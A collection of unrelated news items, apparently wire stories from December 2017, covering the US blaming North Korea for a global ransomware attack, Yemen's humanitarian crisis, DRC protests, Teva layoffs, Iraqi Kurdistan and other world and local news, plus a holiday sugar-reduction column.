The United States is the latest country to point the finger of blame at Pyongyang, attribution which comes as part of a drive to exert "maximum pressure" on the regime.

As yet, no retaliatory measures have been announced.

Among the infected computers were those at Britain's National Health Service (NHS), Spanish telecoms company Telefonica and US logistics company FedEx.

London had already blamed North Korea, which hit a third of Britain's public hospitals.

Pyongyang then denied the allegation, saying it went "beyond the limit of our tolerance" and was a "wicked attempt to lure the international community into harboring greater mistrust of the DPRK."

- US government under scrutiny -

Questions had been raised about whether the US government acted in a timely manner to respond to the attack, with Microsoft accusing Washington of spotting the flaw and using it for its own ends.

"This attack provides yet another example of why the stockpiling of vulnerabilities by governments is such a problem," Microsoft's Brad Smith said at the time.

"Repeatedly, exploits in the hands of governments have leaked into the public domain and caused widespread damage," he said, claiming that the National Security Agency of spotting the flaw and saying nothing.

Bossert said that the United States kept only 10 percent of security flaws secret and had no policy of "stockpiling" or withholding information from potential targets.

Since coming to office Donald Trump has sought to put pressure on North Korea, as its reclusive leaders edge ever-closer to developing a ballistic missile that could deliver a nuclear warhead to the United States.

Amid a series of tests Trump's administration has appeared at odds over whether talks could offer a way out of the standoff.

National Security Advisor HR McMaster tried to clean up that question in an interview with the BBC, saying the United States wanted a peaceful solution: "Of course that's what we want but we are not committed to a peaceful resolution."

"We are committed to a resolution, we want the resolution to be peaceful. But, as the president has said, all options are on the table and we have to be prepared if necessary to compel the denuclearization of North Korea without the cooperation of that regime."

Trump's first National Security Strategy released Monday, declared that "North Korea seeks the capability to kill millions of Americans with nuclear weapons."

"Continued provocations by North Korea will prompt neighboring countries and the United States to further strengthen security bonds and take additional measures to protect themselves."
Hussein Ali Jabbar and his bride celebrated their wedding on the Shatt al-Arab in Iraq's Basra on Monday

To the sound of drums and trumpets, an Iraqi groom and his bride this week stepped hand-in-hand onto a speed boat on the river in Basra to celebrate.

Their wedding on Monday was the first such celebration to be held on the Shatt al-Arab waterway running through the southern city since the 1980s.

Aboard the small speed boat decorated with tinsel and balloons, labourer Hussein Ali Jabbar and his wife donned captain hats and posed for the camera.

Their guests danced away their one-hour ride on four larger vessels to tunes belted out by the brass band and blaring from the television.

It was the first wedding on the river since the devastating 1980-1988 war between Iraq and Iran.

Many continued to avoid the river afterwards, deeming it unsafe amid tensions with neighbouring Iran and Kuwait, and fearing insurgent attacks after the US-led invasion of 2003.

"Everybody in town remembers the river weddings in the past," said Talib al-Bdairy, spokesman for the state company behind the relaunch.

"We want to bring back to life these wonderful memories on these modern safe boats," he said.

Monday's boat cruise wedding on the Shatt al-Arab was the first in Iraq's Basra since the eighties

The General Company of Maritime Transports did not charge for Monday's wedding cruise as the bride's father was killed this year in the northern city of Mosul fighting the Islamic State jihadist group.

But the going rate for future celebrations will be 2,000 Iraqi dinars (or $1.5) per head.

It was the groom's idea to have a wedding on the water.

"A wedding on the river makes everyone happy... It's much better than being stuck in traffic in the city," he said.

His uncle, Karim Mohammed, offered another reason to celebrate on the Shatt al-Arab.

It "avoids the gunshots in the air that are often how we celebrate a happy event here but often end in tragedy," he said.
The holidays are right around the corner and with holiday traditions come a universal indulgence: sugar! Nobody really wants to be told to limit added sugar intake this time of year, but instead of focusing on the sugar cravings, lets focus on the health benefits of reducing overall added sugars: a happier heart, healthier liver, and more positive mood.

Added sugars have a variety of names which include maltose, sucrose, high fructose corn syrup, molasses, cane sugar, corn sweetener, raw sugar, syrup, honey and fruit juice concentrates. It does not include naturally occurring sugars found in fruit (fructose) or dairy products (lactose). The World Health Organization recommends that each individual consume no more than 25 grams of added sugar a day.

To put that in perspective, lets evaluate the amount of sugar in these common measurements and drinks:

1 teaspoon = 4 grams.

a Grande vanilla latte at Starbucks = 35 grams.

a 12-ounce can of Coke = 39 grams.

1 cup = 225 grams.

Twenty-five grams really doesnt go a long way, but dont despair  there is sweeter news! There are plenty of ways to reduce the overall amount of added sugars we consume, beginning with baking at home. Purchasing baked goods may be simpler or more convenient, but there is no way to limit the amount of sugar that has been added to these products. Pre-made desserts generally contain several grams of sugar, easily entering into triple digits. Baking at home allows you to not only modify the total amount of sugar but also the type of sugar. An easy way to reduce the total amount of added sugar is to start by cutting the amount of sugar the recipe calls for in half. You may be surprised by how much extra sugar we dont need for desserts to taste just as sweet. There are also various types of sweeteners that contain more nutritional content, such as honey, or that won't spike your blood sugar levels, such as stevia extract.

We can also start by saying goodbye to traditional sugary desserts and say hello to trying a new, different type of desserts, or creating a new tradition altogether. There are several delicious options to satisfy that sweet tooth, such as using fruit or even squash as the primary ingredient. For example, dates topped with goat cheese is a sweet and savory option; and you can also try baking thin layers of squash topped with cheese or lightly drizzled with honey.

Lets not forget the other piece to this puzzle: Swap out the extra sugar for the spice instead! Creating new, healthy dishes with the family creates lifelong change to trying new flavors and spices while helping to reduce the reliance on sugar for food to taste good. Common holiday spices, such as cinnamon and nutmeg, add a nice flavor to desserts and decreases the need for so much sugar. The health benefits are endless once we start to reduce added sugars  it leads to a reduction of cardiovascular disease, insulin resistance, diabetes, Alzheimers and overall inflammation.

The American Heart Association (AHA) recommends limiting the amount of added sugars you consume to no more than half of your daily discretionary calories allowance. There are 4 calories per gram therefore, most women are allotted 100 calories or 6 teaspoons, and most men are allotted 150 calories or 9 teaspoons of added sugar daily.

This holiday season I encourage you to try new recipes and surprise your family and even yourself. You may just love what you discover all the while creating a healthier lifestyle. Enjoy the spice and everything nice this holiday season!
The opposition Union for Democracy and Social Progress, led by Felix Tshisekedi (pictured here in October 2017), had called for nationwide protests ahead of two key anniversaries in DRC's crisis

A day of protest in Democratic Republic of Congo drew a small turnout Tuesday but the opposition vowed to pursue its campaign to unseat President Joseph Kabila over long-delayed polls.

Rallies were held in several cities but were attended by only a few dozen people, although traffic and economic activity in some towns seemed below normal, witnesses said. At least 30 people were arrested.

The opposition Union for Democracy and Social Progress (UDPS) had called for nationwide protests ahead of two key anniversaries in DRC's crisis.

"We may lose the battle but the war continues," said opposition leader Felix Tshisekedi from the "Rassemblement" (Unity) coalition, blaming the poor turnout on rain and a "lack of coordination."

Normal life and traffic slowed in the capital Kinshasa and there were more police than usual.

A police spokesman told AFP Tshisekedi was stopped from leaving his house.

"He was prevented from taking part in a show of force. He understood, he complied and he went inside," Pierre Mwanamputu said.

Mwanamputu said two members of Tshisekedi's UDPS party were arrested in the central Kasai region. "We arrested 27 people in Kindu," in the centre-east, he added.

In the second city Lubumbashi, three youths were arrested after smashing the windows of a courthouse and trying to burn it, a police spokesman told AFP.

There were failed attempts to stage marches in the eastern city of Bukavu.

Kabila's mandate formally ended on December 20, 2016. He refused to step down, fuelling political confrontation and violence that caused dozens of deaths.

The Catholic church stepped in, brokering a deal on New Year's Eve enabling Kabila to stay in office pending elections that were to be held in 2017.

Those elections, in turn, have been postponed until December 23, 2018.

The plan has the reluctant support of western nations, which insist that the new deadline be firmly kept and that the government uphold the right to protest and of freedom of assembly.

The opposition has said it wants a transition "without Kabila" after December 31, in line with the 2016 New Year's Eve agreement.

Its protest campaign has met with a police crackdown that has led to fatalities and arrests.

Kabila took office after his father Laurent was assassinated in 2001 at the height of the Second Congo War.

Joseph Kabila was confirmed as leader in 2006 during the first free elections since independence, and re-elected for a second term in 2011 in a vote marred by accusations of fraud.
A crippling blockade on ports and airports has compounded food shortages in war-torn Yemen while a cholera outbreak has affected nearly one million people

A thousand days of bloodshed: as Yemen prepares to mark Wednesday's grim anniversary, aid workers are urging world powers to bring an end to a "forgotten" conflict.

Photographs of children starving to death have failed to spur the international community into ending the world's worst humanitarian crisis, which charities warn is deepening by the day.

"There are things that could happen tomorrow that could stop children from dying," said Caroline Anning, a senior adviser at Save the Children who recently travelled to Yemen.

"Considering the depth of the suffering and the fact that it's entirely man-made, we haven't had the level of international attention on Yemen that you would expect to see."

The British charity expects 50,000 children to have died needlessly by the end of this year, with a crippling blockade on ports and airports compounding food shortages and a cholera outbreak affecting nearly one million people.

At the top of many aid workers' wish list is to see the Saudi-led coalition, which has been pounding Huthi rebels since March 26, 2015, lift the blockade which has drastically reduced their ability to bring in food and medical supplies.

Under a newly launched online campaign called Yemen Can't Wait, some 350 public figures have signed an open letter urging the United States, Britain and France to do more to end a war that has claimed more than 8,700 lives.

The conflict "has transformed the poorest country in the Middle East into the world's worst humanitarian crisis," said the letter published in France's Le Monde daily on Monday.

The letter calls on US President Donald Trump, his French counterpart Emmanuel Macron and British premier Theresa May to push for an immediate ceasefire and peace talks as permanent members of the UN Security Council.

It pointed to these countries' lucrative arms contracts with Saudi Arabia, which is determined to crush the rebels it sees as proxies for arch-rival Iran.

"Millions of Yemeni women, men and children feel abandoned by world leaders, who seem to place profits and politics before human lives," said the letter signed by stars including actors Bill Nighy and Juliette Binoche.

- 'Entirely preventable' -

Photographs of children starving to death in Yemen have failed to spur the international community into ending the world's worst humanitarian crisis

In a country which was highly dependent on food imports even before the war, French aid group ACTED estimates that some 22 million Yemenis -- three quarters of the population -- now rely on aid to survive.

Humanitarian workers say the Saudi blockade, tightened after a missile attack on Riyadh in November, has exacerbated disease which was already rampant in Yemen by creating a dire vaccine shortage.

Some aid supplies have been allowed in, but the blockade has had knock-on effects including soaring fuel prices which are crippling everything from hospitals to water plants.

Liny Suharlim, ACTED's Yemen country director, said lifting the blockade should be an immediate priority.

But only a political settlement will end the suffering of civilians who have borne the brunt of the crisis, she said.

"We are there doing what we call firefighting," she said of aid workers.

"For us it's really disheartening because this is something that is entirely preventable, completely man-made."

Compounding the problems, Anning said, public sector workers such as doctors and teachers have not been paid for a year and a half, gutting services in many areas.

- 'Invisible' conflict -

More than 8,700 people have been killed in the "invisible" Yemen conflict

The Yemen Can't Wait campaign is intended to pressure Western leaders into action partly by raising awareness of a conflict that has largely remained off the front pages.

"Yemen is regarded as an invisible conflict, that the world has forgotten," Suharlim said.

Anning suggested Saudi Arabia's success in keeping journalists away helped explain the conflict's failure to seize the world's conscience.

But she added that the fact that the war has not sparked a significant refugee crisis -- a combined result of poverty, geography and Yemenis' inability to escape the relentless fighting -- has also encouraged the West to ignore the conflict.

"There isn't a big refugee outflow that's impacting other countries," she said.

"For all of the suffering with the extreme rates of acute malnutrition, the number of children dying every day, the world's biggest cholera outbreak or from hunger, it's contained within Yemen's borders."
UN Special Envoy for Syria Staffan de Mistura (R) and his deputy Ramzy Ezzeldin Ramzy attend a December 13 round of negotiations with the Syria government

The UN's mediator on Syria asked the Security Council on Tuesday to help break the deadlock in peace talks by providing some ideas on drafting a new constitution and elections, key elements of a future settlement.

Staffan de Mistura told the council that a "golden opportunity" to make progress toward a peace deal had been missed during the latest round of talks that ended in Geneva last week.

"I believe the time has come for the UN to provide some specific elaborations on the constitutional and electoral baskets," the envoy said.

"Since we have been hearing and talking about constitutional process and election and we were not able in the intra-Syrian talks to actually engage both sides on it, well let me get you on it," he told the council.

The envoy was to meet UN Secretary-General Antonio Guterres later Tuesday to discuss the failure of the talks in Geneva as Russia, Iran and Turkey gear up for a fresh round of meetings in the Kazakh city of Astana this week.

De Mistura said the proposals on the constitution and elections would "stimulate a wider consultation" on the way forward.

Peace talks have repeatedly stumbled over the fate of President Bashar al-Assad, with negotiators from Damascus refusing to meet the opposition directly until it drops demands that he leave office.

Russian President Vladimir Putin has stepped up his Syria diplomacy in recent months, setting up four "de-escalation" zones inside Syria and proposing to hold a peace conference.

UN diplomats are increasingly concerned that Russia is seeking to set up an alternate track to the Geneva talks to reach a settlement that would suit its ally Assad.

Assad's forces have regained the upper hand in the war, backed by Russia's military intervention, retaking large swatches of rebel-held territory.

More than 340,000 people have died in Syria's nearly seven-year war and over half of the population has been driven from their homes.
Teva employees demonstrate outside the prime minister's office on December 19, 2017 against the company's plans to shed jobs

Teva, the world's largest generic drug company, refused Tuesday to reconsider a decision to close its Jerusalem plant despite pressure from Prime Minister Benjamin Netanyahu, the government and group said.

Teva will make 1,750 employees redundant in Israel as part of plans to slash 14,000 jobs worldwide over two years, according to the Histadrut trade union.

The cuts would amount to more than a quarter of the Israeli drugmaker's global workforce of more than 55,000, of whom fewer than 7,000 work in Israel.

At Sunday's weekly cabinet meeting, Netanyahu had said he would meet Teva's Danish boss Kare Schultz.

Bitter pill: Teva employees protest on December 19, 2017, outside the premier's office against the Jerusalem plant closure plan

A statement from his office said the premier aimed to "reduce the damage to workers, do everything possible to avoid the closure of the factory in Jerusalem, and ensure Teva remained an Israeli firm".

At a meeting on Tuesday with Schultz, the government asked that the Jerusalem plant be kept open, "but the Teva chief refused", a statement from Netanyahu's office said.

"He agreed to work with the government to find solutions for those employees who will be laid off," it added.

In its own statement, the company quoted Schultz as saying that "Teva cannot accede to the prime minister's request".

"In order for Teva to remain an Israeli company and continue to make a significant contribution to the Israeli economy, we must first save the company," it said.

Thousands of Teva employees demonstrated outside the prime minister's office during Tuesday's meeting.

Teva has been saddled with debt after its $40 billion acquisition of the generics arm of rival Allergan last year.

The acquisition has been accompanied by low prices for generics, particularly in the United States, a major market.

Teva expects to save $3 billion by the end of 2019 with the two-year restructuring plan.

Facing closure: the Jerusalem plant of Teva Pharmaceutical Industries, the world's biggest manufacturer of generic drugs

Schultz pledged to keep the company's headquarters in Israel, and thanked Netanyahu for "the support Teva has received from the Israeli government", its statement said.

According to Histadrut, Teva has received $6.2 billion in tax reductions since 2006.

The union said in a statement it would "continue to fight to limit the number of layoffs".

Avi Gabbay, leader of the opposition Labour party, attacked the prime minister over the Teva closure.

"Kare Schultz has learned that Netanyahu only turns up for the photograph... he can keep on firing Teva employees," he said.
Migrants at a detention centre in Zawiyah, 45 kilometres west of Tripoli, on June 17, 2017

The UN refugee agency is to evacuate thousands of vulnerable refugees from Libya next year, its country representative said on Tuesday.

"In 2018, we will try to send between 5,000 and 10,000 of the most vulnerable refugees to third countries," Roberto Mignone said.

"We can't give an exact number as it will depend on how many refugees can be taken in by European countries, Canada or others," the UNHCR representative said.

Libya has long been a transit hub for migrants seeking a better life in Europe, but people smugglers have stepped up their lucrative business in the chaos since the 2011 revolution.

Libyan authorities have come under fire over migrant abuses since the airing last month of CNN footage of a slave market in the North African country.

The United Nations last week urgently appealed for countries to take in 1,300 "extremely vulnerable" refugees stranded in Libya.

Around 100 refugees have been evacuated to Niger since November and are awaiting resettlement there, Mignone said.

A first group of around 20 refugees arrived to settle in France on Monday.

A thousand refugees should be evacuated from Libya by the end of January.

The UNHCR has registered some 44,300 refugees in Libya, he said, but thousands of other migrants could also be eligible for refugee status.

People from Iraq, Syria, the Palestinian territories, Somalia, Eritrea and Sudan's Darfur region, as well as Oromo Ethiopians, are automatically registered as refugees in Libya, Mignone said.

After being stopped by Libyan authorities, migrants who have entered the country illegally are usually taken to detention centres.

The UNHCR this year made 1,000 visits to around 30 overcrowded detention centres where migrants are detained in "very difficult" conditions, Mignone said.
The Pentagon did not immediately point fingers at Iran after Saudi Arabia said it had shot down a ballistic missile over Riyadh that was fired from Yemen

The Pentagon said Tuesday it was working with Saudi Arabia to determine events surrounding the latest missile launch from Yemen, but it did not immediately point fingers at Iran.

Saudi Arabia earlier said it had shot down a ballistic missile over Riyadh that was fired from Yemen by Iran-backed Huthi rebels.

The rebels said they targeted the official residence of King Salman.

"The Department of Defense is aware of recent reports that Yemen-based Huthi forces launched a ballistic missile into Saudi Arabia and that the Huthis have taken responsibility for this attack," the Pentagon said in a statement.

It added that the US was working closely with Saudi Arabia "to fully understand what took place and to ensure that our Saudi partners have the resources they need to defend their territory against indiscriminate attacks against civilian-inhabited areas."

Saudi Arabia and the United States have previously accused Iran of supplying weapons to Yemen's rebels, and Riyadh described the latest missile as "Iranian-Huthi."

Last week, US ambassador to the United Nations Nikki Haley presented what she called "undeniable" evidence that a missile fired at Riyadh's airport in November was "made in Iran."

But her comments went beyond the findings of a UN investigation which reached no firm conclusion on whether the missile came from an Iranian supplier, saying only that it had a "common origin" to some Iranian designs.

Iran has denied supplying ballistic missiles to the Huthis.

The Pentagon referred additional questions to the Saudi authorities.

Washington provides weapons, intelligence and aerial refueling for a Saudi-led coalition which for nearly three years has conducted air strikes against the Huthis, in support of Yemen's internationally-recognized government.

Coalition air strikes have faced repeated international criticism over civilian casualties.
A woman attends a protest in support of the Iraqi Kurdish leader, in Arbil, the capital of autonomous Iraqi Kurdistan, in October 2017

Iraqi Kurdistan, mired in deadly protests, has been in open crisis with the Baghdad government since voters in the northern autonomous region overwhelmingly backed independence in a September referendum.

Here are the key developments:

- Millions vote -

Despite weeks of threats and warnings, the non-binding plebiscite goes ahead on September 25 with more than 12,000 polling stations opening for 5.3 million registered voters.

It is held in the three provinces of Iraqi Kurdistan -- Arbil, Sulaimaniyah and Dohuk -- as well as in disputed border areas such as the oil-rich province of Kirkuk.

Baghdad says the vote is "illegal" and the United States warns it will increase instability.

Iraqi Prime Minister Haider al-Abadi on September 26 gives authorities in Kurdistan 72 hours to hand the central government control of airports, warning he will otherwise ban international flights to and from the region.

- A massive 'yes' -

The official results released on September 27 show more than 92 percent of voters back statehood. Turnout is over 72 percent.

Then Kurdish leader Massud Barzani, who initiated the referendum, says there will be no immediate declaration of independence, but calls for negotiations.

Abadi demands that the vote be annulled. "We will never hold talks based on the results of the referendum," he says. "We will impose Iraqi law in the entire region of Kurdistan."

- Flights cut -

Baghdad cuts the Kurdish region's direct air links with the outside world indefinitely on September 29.

The United States says it does not recognise the referendum and its result which "lacks legitimacy".

On September 30 Iran embargoes trade in fuel products with Iraqi Kurdistan.

- Soldiers deployed -

Kurdish peshmerga forces on October 12 block roads from Iraqi Kurdistan to Iraq's second city Mosul in response to an increase in deployments and movements of Iraqi forces near the front line.

Abadi denies an attack is imminent, vowing to "preserve the unity of our country".

But on October 13, the Iraqi army launches an operation to take Kurdish-held positions around the provincial capital of Kirkuk, which has a Kurdish majority and took part in the contested referendum.

On October 15 the Kurds ignore a looming deadline set by Baghdad for their forces to surrender positions they took during the fightback against jihadists.

The following day, Iraqi forces take control of the city of Kirkuk as well as key military sites and an oilfield.

The capture of more key oilfields in the disputed province on October 17 dashes Kurdish hopes of creating a viable independent state. Abadi says the referendum is "a thing of the past".

On October 20 Iraqi forces retake control of the last sector of Kirkuk province.

- Conciliatory signals -

On October 25 Iraqi Kurdish leaders offer to freeze the outcome of the independence vote, but Abadi says he will accept only its reversal.

Barzani tells parliament on October 29 in a letter he is stepping down as president of the autonomous Kurdish region from November 1.

Iraq's supreme court declares the referendum unconstitutional on November 20.

- Protests turn deadly -

On December 18 Kurdish demonstrators attack the headquarters of all five of the region's main political parties, as well as a building of the security services in the province of Sulaimaniyah to protest against corruption and call for the regional government to resign.

On December 19 new protests take place in Iraqi Kurdistan, where demonstrators torch party headquarters.

Five people are killed and nearly 200 injured, according to medical sources, as security forces open fire during clashes.
Israeli Prime Minister Benjamin Netanyahu has been questioned seven times by fraud squad detectives

Israel's Prime Minister Benjamin Netanyahu said on Tuesday he would avoid corruption charges after he was questioned in two graft probes.

At a rally near Tel Aviv, he implied police would recommend he be indicted but that there would be no follow-up.

"There will be recommendations from the police to charge me, and then what?" the premier told a crowd of supporters from his Likud party.

Fraud squad detectives questioned Netanyahu at his Jerusalem residence on Friday, for the seventh time in a nearly year-long corruption probe.

In one investigation, the prime minister is suspected of illegally receiving gifts from wealthy personalities including Australian billionaire James Packer and Hollywood producer Arnon Milchan.

In a second case, Netanyahu allegedly sought a secret pact for favourable coverage with the publisher of the top-selling Yediot Aharonot newspaper.

The purported scheme, not believed to have been finalised, would have seen him receive favourable coverage in return for helping curb Yediot's competitor, the pro-Netanyahu freesheet Israel Hayom.

The 68-year-old premier has consistently denied any wrongdoing, and says he is the target of a smear campaign by political opponents.

Thousands of Israelis have protested in recent weeks to demand legal action against "corrupt" people in the government and their resignation.
David Wright, 28, had sworn allegiance to the Islamic State group and was plotting to behead anti-Islam blogger Pamela Geller, seen here at an Alt Right protest in New York City in April

A Massachusetts man inspired by the Islamic State extremist group was sentenced to 28 years in prison on Tuesday for terror charges after plotting to behead a controversial American anti-Islam crusader and blogger.

David Wright, 28, was convicted by a US federal jury in Boston in October of conspiring to provide material support to IS, conspiring to commit acts of terrorism and obstruct justice, and for obstructing justice.

Born and raised in Massachusetts, he swore allegiance to IS and plotted to kill blogger Pamela Geller with his uncle Usaamah Rahim, who was shot and killed after lunging toward police and FBI agents with a knife in Boston in 2015.

A third man, Rhode Island resident Nicholas Rovinski, pleaded guilty last year.

"Wright will be in jail for the rest of my life and that is good," 59-year-old Geller tweeted on Tuesday in response to the sentencing.

US prosecutors say Wright created a "martyrdom" operation cell and in 2015 published a document that urged the "Lions of America" to kill Americans and identified the New Yorker blogger as the first beheading target.

British-born IS jihadist and propagandist, Junaid Hussain, whom the Pentagon said recruited IS sympathizers to carry out lone wolf attacks in the west, provided Rahim with encrypted details about Geller, prosecutors said.

Hussain was targeted and killed in an air strike in Raqqa, Syria in August 2015.

Two hours before his uncle attacked Boston police, Wright encouraged and motivated him to pursue martyrdom by attacking the "boys in blue," prosecutors said.

Geller is president of two anti-Muslim groups, the American Freedom Defense Initiative and Stop the Islamization of America (SIOA).

She denounces what she calls "creeping Sharia" in the United States and in 2015 organized a cartoon contest of the Prophet Mohammed in Texas that came under attack by two men with assault rifles, both of whom were shot and killed by police.

Her SIOA group has financed anti-Muslim ad campaigns hostile on public transport in New York, San Francisco and Washington.

On her blog in 2006, she re-published caricatures of the Prophet Mohammed that had sparked deadly protests after their initial publication in Denmark.
The call between British Prime Minister Theresa May and US President Donald Trump came nearly a month after the two clashed over Trump's tweets of "Britain First" anti-Muslim propaganda and hours after London voted against Washington at the UN

President Donald Trump and Prime Minister Theresa May spoke for the first time since a row over his retweets of a British extremist group, addressing vexing questions about Brexit and Middle East peace Tuesday.

The call came nearly a month after the two clashed over Trump's tweets of "Britain First" anti-Muslim propaganda and hours after London took the unusual step of voting against Washington at the United Nations.

Britain was among 14 UN Security Council members who backed a resolution condemning Trump's decision to unilaterally recognize Jerusalem as Israel's capital, leaving the United States alone to veto.

"They discussed the different positions we took on the recognition of Jerusalem as the Israeli capital, and agreed on the importance of the US bringing forward new proposals for peace and the international community supporting these efforts," a Downing Street spokesman said.

"The President and Prime Minister discussed next steps in forging peace in the Middle East," the White House said.

There was no mention of the Twitter feud from either side, a row that has put Trump's state visit to the United Kingdom in further jeopardy.

"The two leaders exchanged holiday greetings and warm wishes for Christmas and the New Year," the White House said.

They also discussed Britains negotiations to withdraw from the European Union, with the British side claiming that they "agreed on the importance of a swift post-Brexit bilateral trade deal."

There was no mention of such an agreement in Washington's account of the call, although Trump has made similar pledges in the past.

"The prime minister updated the president on the recent good progress of the Brexit negotiations, and the president set out the progress he had made on his economic agenda," the Downing Street spokesman said.

"President Trump congratulated the Prime Minister on the decision by European Union leaders to move to the second phase of the Brexit negotiations," according to Washington.

Earlier Tuesday, May chaired the first detailed cabinet discussion on Britain's future trade ties, after European Union leaders last week approved an interim agreement on the terms of their separation, and agreed to move talks on to trade next year.

London wants to secure "the best possible trading terms with the EU" that enable Britain "to set rules that are right for our situation and facilitates ambitious third-country trade deals," Downing Street said after the meeting.

May and Trump also talked about Yemen, with May "highlighting our ongoing deep concerns at the humanitarian situation," according to Downing Street.

"They agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis," the spokesman said.
The Billings City Councils search for a new city administrator wont resume until its Jan. 22, 2018, meeting.

Council members said Monday they want to hear formally from their selection, Greg Doyon, the Great Falls city manager, that he is indeed withdrawing from consideration after contract negotiations with a council subcommittee last week failed. Doyon sent an email Friday saying he was withdrawing.

The Billings Chamber of Commerce, Mayor-elect Bill Cole and others lobbied the council to resume negotiations with Doyon, but the council opted to wait for a month, by which time Cole and new council members Denise Joy, Penny Ronning and Frank Ewalt will have taken office.

Councilman Larry Brewster, who chaired the subcommittee that tried to negotiate terms of an employment contract with Doyon, said he had a message on his cellphone indicating Doyons decision not to pursue Billings top job. But council members decided they wanted to hear from Doyon again in writing.

The process is so tainted now, Councilman Dick Clark said, that if I was Greg I wouldnt want to negotiate now.

The city is in no way rushed or hurried to make a decision, said Councilman Rich McFadden. Weve got excellent staff in place.

Councilman Brent Cromley moved to table the city administrator selection discussion until the Jan. 22 meeting, but that motion failed 5-4.

During his last meeting as mayor, Tom Hanel called reports inaccurate that the council had unanimously selected Doyon. Four council members, Hanel said, expressed a preference for Helena City Manager Ron Alles.

But the councils vote on Dec. 1 to offer the job to Doyon was in fact 10-0. Official minutes of the meeting had not been posted on the citys website as of Monday night. They were posted as of Wednesday night.

Hanel said he was extremely agitated by a Gazette opinion published Monday, that we did not negotiate fairly and professionally. Critics have damaged the community of Billings, people who didnt have all the information, and now we likely will begin the process over.

During negotiations, "there were too many fingers in the pot," said Councilman Chris Friedel. Lets have some cheer and come back next year with level heads and less opinions.

Its not clear whether the council will indeed start the search process over or approach one of the other three finalists  Alles; Kevin Smith, general manager of the Truckee Tahoe Airport District in California; or Dave Fraser, the former city manager in Boulder City, Nevada  with an employment offer.

Whatever happens in the next few weeks, Acting City Administrator Bruce McCandless is likely to get some help in the interim.

McCandless, the longtime assistant city administrator, has worked as acting city administrator since Oct. 1.

By initiative Monday, the council directed him either to elevate a current employee to temporary assistant city administrator until the new administrator is on the job, or to seek out contract help for the position.

The council voted 9-0 to postpone consideration of the future of the Babcock Theatre until its Jan. 22 meeting. Two parties that expressed interest in leasing the city-owned historic theater will offer presentations to an ad-hoc committee Jan. 4.

The council also excluded a former council member, Ken Crouch, from serving on the citys Human Relations Commission, approving 35 other volunteers for various boards and commissions.

Councilman Ryan Sullivan, who made the motion to deny the commission seat to Crouch, a retired United Church of Christ pastor, said that as a council member, Crouch was very keen on sitting and listening. I dont believe thats the direction the board needs to take.

Cromley then moved to approve Crouchs appointment, but his motion died for lack of a second.

With the presentation of plaques and kind words, the council honored Hanel and McFadden, both term-limited, during their final meeting. Council members Angela Cimmino and Al Swanson, who are also leaving the council Dec. 31, were not present Monday.

It was the most tremendous experience of my life, McFadden said of his eight years on the council. I might even miss it.
UN Ambassador Nikki Haley drew a list of possible measures against Iran that immediately drew strong reservations from Russia

The United States will in the coming days discuss several options for UN Security Council action against Iran such as sanctions for violating the arms embargo on Yemen, Ambassador Nikki Haley said Tuesday.

During a council meeting on Iran, Haley drew a list of possible measures that immediately drew strong reservations from Russia, which has friendly relations with Tehran.

The United States has accused Iran of arming rebels in Yemen, providing missiles that have been fired at Saudi Arabia, a key US ally.

On Tuesday, Saudi Arabia shot down over Riyadh a ballistic missile fired by the Huthi rebels, in a strike that Haley said "bears all the hallmarks of previous attacks using Iranian-provided weapons."

The missile attack on Riyadh should be a "flashing red siren for this council," she said.

Haley suggested strengthening a 2015 resolution endorsing the landmark Iranian nuclear deal or adopting a new measure barring Iran from developing missiles.

Under the current resolution, the council calls on Iran not to undertake any launches of missiles capable of carrying a nuclear weapon, but there is no ban on missile tests.

"We could explore sanctions on Iran in response to clear its violations of the Yemen arms embargo," said Haley, who also suggested targeting Iran's Islamic Revolutionary Guard for action.

"In the coming days, we will continue to explore these options and others with our colleagues," Haley said.

Russia quickly signaled that it would not endorse Haley's proposals.

Russian Deputy Ambassador Vladimir Safronkov said it was time to "abandon the language of threats and sanctions" and opt instead for dialogue to "concentrate on broadening cooperation and trust."

Last week, Haley presented what she called "irrefutable evidence" that Iran had supplied the rebels in Yemen with missiles that she put on display at a Washington military base.

Iran dismissed the accusations as false and said they were intended to divert attention from the devastating war being waged in Yemen by the Saudi-led coalition.

The UN report said UN officials had examined debris from missiles fired at Saudi Arabia which pointed to a "common origin" but there was no firm conclusion as to whether they came from an Iranian supplier.

UN political chief Jeffrey Feltman told the council that the United Nations was "not yet in a position to confirm whether those missiles were Iranian Qiam-1 missiles" transferred in violation of UN resolutions.
WARSAW, Poland (AP) - A planned gas pipeline to link Russia with Germany that bypasses Ukraine and Poland threatens central Europe's security, Poland's new prime minister said Monday.

The so-called Nord Stream 2 gas pipeline would be the second to carry Russian gas directly to Germany and Western Europe via the Baltic Sea instead of through Poland and Ukraine.

Poland and other countries in the region that are dependent on Russian gas are strongly opposed to this project, which economically links Germany with Russia and bypasses them, and allows Russia's Gazprom to dictate prices.

Morawiecki said Monday the planned pipeline could also add to instability in Ukraine. In the eastern part of the country that border the European Union, more than 10,000 people have been killed in fighting between Ukrainian troops and Russia-backed separatists since 2014.

Seeking to cut the dependence on Russia, Poland is importing liquid gas from the United States and plans to open a pipeline with Norway. It wants to become a gas and energy distribution hub for the countries in the region.

Morawiecki also denied reports that Germany was ready to give up the Nord Stream 2 project if Poland abandoned talk of World War II reparations from Berlin.

"We are not linking these issues, absolutely," Morawiecki said on Radio Szczecin.

Poland's conservative ruling Law and Justice part has opened the issue of war reparations, arguing that Poland was the worst-hit victim of Nazi Germany during World War Two, and was later not allowed to receive reparations under the Moscow-imposed communist regime that followed.

Polish lawmakers are weighing whether to empower the government to officially seek reparations from Berlin.
WOBURN, Mass. (AP) - Firefighters helped save a woman's wedding dress from a burning home in Massachusetts.

NBC Boston reports fire crews responded to the blaze at a Woburn building where Julie Centeno and her fiance Curtis Wilson lived Sunday evening.

Twenty-five-year-old Centeno says they were able to escape the home with just their coats. When firefighters asked if there was anything important still inside, Centeno says she mentioned her dress and her diamond ring.

Fire Chief Stephen Adgate says the crews were able to recover the items, and the groom-to-be managed to avoid seeing the dress. Three other people who lived in the building also evacuated safely.

Wilson's mother says the wedding is scheduled for November 2018.
TAX AGREEMENT AND SMALL BUSINESSES

The Republican agreement on a tax bill gives many small company owners breaks on their business income taxes and allows them to deduct a larger portion of their equipment purchases. But many owners are also losing out on savings including the ability to deduct all of the interest they pay on loans.

